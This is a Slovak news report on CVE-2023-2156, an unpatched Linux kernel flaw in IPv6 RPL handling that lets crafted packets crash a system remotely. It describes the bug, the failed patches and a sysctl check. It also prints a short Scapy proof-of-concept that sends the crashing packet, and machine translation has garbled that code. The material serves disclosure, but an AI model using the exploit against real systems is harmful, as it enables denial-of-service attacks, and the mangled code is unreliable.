0-denná zraniteľnosť zásobníka IPv6 systému Linux, ktorá umožňuje vzdialené zlyhanie jadra

Boli zverejnené informácie o neopravenej (0-dňovej) zraniteľnosti (CVE-2023-2156) v jadre Linuxu, ktorá umožňuje zastavenie systému odoslaním špeciálne vytvorených paketov IPv6 (packet-of-death). Problém sa objaví až pri povolenej podpore protokolu RPL (Routing Protocol for Low-Power and Lossy Networks), ktorý je v distribúciách štandardne vypnutý a používa sa najmä na embedded zariadeniach pracujúcich v bezdrôtových sieťach s vysokou stratou paketov.

Zraniteľnosť je spôsobená nesprávnou manipuláciou s externými údajmi v kóde analýzy protokolu RPL, čo vedie k zlyhaniu potvrdenia a jadro prejde do stavu paniky. Pri umiestnení do štruktúry k_buff (Socket Buffer) údaje získané ako výsledok analýzy hlavičky paketu IPv6 RPL, ak je pole CmprI nastavené na 15, pole Segleft je nastavené na 1 a CmprE je nastavené na 0, a 48 -byte adresný vektor je rozbalený na 528 bajtov a nastáva situácia, keď nie je dostatok pamäte alokovanej pre vyrovnávaciu pamäť. V tomto prípade funkcia skb_push použitá na vloženie údajov do štruktúry spustí kontrolu neprimeranej veľkosti údajov a vyrovnávacej pamäte, čím sa vygeneruje stav paniky, aby sa zabránilo prepísaniu vyrovnávacej pamäte.

Príklad využitia: # Na vytvorenie paketu zo scapy.all použijeme Scapy import * import soketu # Použite IPv6 z vášho LAN rozhrania DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Na odoslanie paketu používame sokety sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Vytvorenie paketu # Typ = 3 z neho robí paket RPL # Adresy obsahuje 3 adresy, ale pretože CmprI je 15, # každý oktet z prvých dvoch adries je zaobchádzané ako s komprimovanou adresou # Segleft = 1 na spustenie zosilnenia # lastentry = 0xf0 nastaví CmprI na 15 a CmprE na 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(typ=3, adresy=["a8 :", "a7::", "a6::"], segleft=1, lastentry=0xf0) # Pošlite tento zlý paket sockfd.sendto(bytes(p), (DST_ADDR, 0))

Je pozoruhodné, že vývojári jadra boli informovaní o zraniteľnosti už v januári 2022 a za posledných 15 mesiacov sa pokúsili problém vyriešiť trikrát vydaním záplat v septembri 2022, októbri 2022 a apríli 2023, ale zakaždým sa opravy nepodarilo vyriešiť. dosť a zraniteľnosť sa mohla reprodukovať. Nakoniec sa projekt ZDI, ktorý koordinoval práce na odstránení zraniteľnosti, rozhodol zverejniť podrobné informácie o zraniteľnosti bez toho, aby čakal, kým sa v jadre objaví funkčná oprava.

Zraniteľnosť teda stále nie je opravená. Zahrnutie opravy obsiahnutej v jadre 6.4-rc2 nie je účinné. Používateľom sa odporúča, aby si overili, či sa v ich systémoch nepoužíva protokol RPL, čo je možné vykonať pomocou sysctl -a | grep -i rpl_seg_enabled

Zdroj: opennet.ru

Pridať komentár